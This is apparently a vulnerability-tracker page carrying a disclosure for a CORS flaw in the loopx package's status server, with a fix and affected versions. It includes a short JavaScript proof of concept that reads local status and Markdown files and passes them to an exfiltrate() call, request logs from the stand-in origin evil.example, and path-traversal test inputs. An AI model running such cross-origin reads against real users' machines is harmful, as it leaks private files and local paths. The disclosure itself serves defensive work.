Live › vulnerability › CVE-2026-108372
Go to dashboardLoopX's serve-status HTTP server sends Access-Control-Allow-Origin: * on every response, so any website the operator visits can read LoopX status JSON and the contents of Markdown files in registered goal repos without credentials. Write endpoints are origin-checked and are not affected by this report.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|
| loopx | pypi | >= 0.0.1, < 0.4.5 | 0.4.5 |
Run loopx serve-status (or check for the LaunchAgent from scripts/macos-dashboard-launchagent.sh on 8765/8766) and send a request with Origin: https://evil.example to /status.json; an Access-Control-Allow-Origin: * header in the response means exposed.
0.4.5 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
loopx serve-status sends Access-Control-Allow-Origin: * on every response,
including its unauthenticated GET routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo, using a plain fetch() with no user interaction.
The write endpoints are not affected — they are correctly Origin-checked. This report is strictly about the read paths.
While loopx serve-status is running, a page on any origin can run:
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
and read back:
GET /status.json — the whole status projection: goal ids, run history, and local
absolute paths (registry, runtime_root). With --global-registry this covers
every project registered on the machine, not just one.GET /review-material?goal_id=…&path=… — the content of any .md/.markdown
file under a goal's repo root, state dir, or runtime dir. In practice that is the
operator's private design notes, handoff docs, and evidence write-ups.GET / — endpoint discovery, including which write APIs are enabled.POST /control-plane/configure-goal/dry-run — this route has no Origin check at
all, and do_OPTIONS returns Access-Control-Allow-Headers: Content-Type, so a
cross-origin JSON POST passes preflight. The response leaks the before/after
control-plane configuration for a goal. (It does not write — I verified written=false.)docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.
Two things make this more than theoretical:
8765 (project) and 8766 (global) are hardcoded defaults, so
an attacker page can simply try both — no discovery step needed.docs/guides/getting-started.md documents
loopx serve-status, and scripts/macos-dashboard-launchagent.sh installs a LaunchAgent
that keeps serve-status --global-registry --port 8766 running after every login. For
anyone following that guide, this is an always-on, machine-wide read surface.I have graded this High on the basis of zero-interaction exfiltration of private local material from a persistent service. It is read-only and scope-limited, so if you read the exposure as lower I would not argue the point — you know your users' setups better than I do.
loopx/status_server.py:136-146 — StatusRequestHandler._send_json():
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
_send_json is the single response path for all routes, so the wildcard is applied to
/status.json, /review-material, /healthz, / and the dry-run POSTs alike.
do_OPTIONS (:148-153) repeats it.
Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.
I tried to refute this before reporting. These controls all hold:
--enable-reward-write-api and
--enable-control-plane-write-api both on, POST /reward/append and
POST /control-plane/configure-goal/apply return 403 "only accepts loopback browser
origins" for a foreign Origin. is_loopback_origin() does its job. There is no
cross-origin write, and DNS rebinding does not defeat it either (the rebound page still
carries its own non-loopback origin).../../../../etc/hostname → 400; an absolute .md outside the
goal roots → 400 ("outside the goal repo/state/runtime roots"). path_is_under() is
correct.secrets.env inside the repo → 400. Only .md/.markdown
can be read.configure_goal_with_global_sync(execute=False) returns
before any write; I observed written=false.So the exposure is confined to: status JSON + Markdown under registered goal roots. That is still private material, but it is not arbitrary file read and it is not remote code execution.
Run against an unmodified clone at HEAD, default flags (no write APIs enabled):
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
The file content came back verbatim to a foreign origin. Matched controls from the same harness, with both write flags enabled (i.e. the configuration most favourable to the current design):
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json Origin: https://evil.example -> 200 ACAO '*' <-- still readable
I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib Python and touches no file in the repo.
You already have the right predicate in this file — is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
origin = self.headers.get("Origin")
if origin and is_loopback_origin(origin):
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Vary", "Origin")
# no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
self.end_headers()
self.wfile.write(body)
and the same in do_OPTIONS. This keeps the dashboard working — it is served from
http://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added — while denying every
non-loopback origin.
Two optional hardening steps, if you want them:
is_loopback_origin() check to POST /control-plane/configure-goal/dry-run
and POST /reward/dry-run too, so the config projection is not readable cross-origin.Host header check (reject a Host that is not loopback) to close DNS rebinding
against clients that do not send Origin.Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the loopx package
and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual
dataflow pass.
This page as .md · .json · in your agent: get_signal("CVE-2026-108372")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.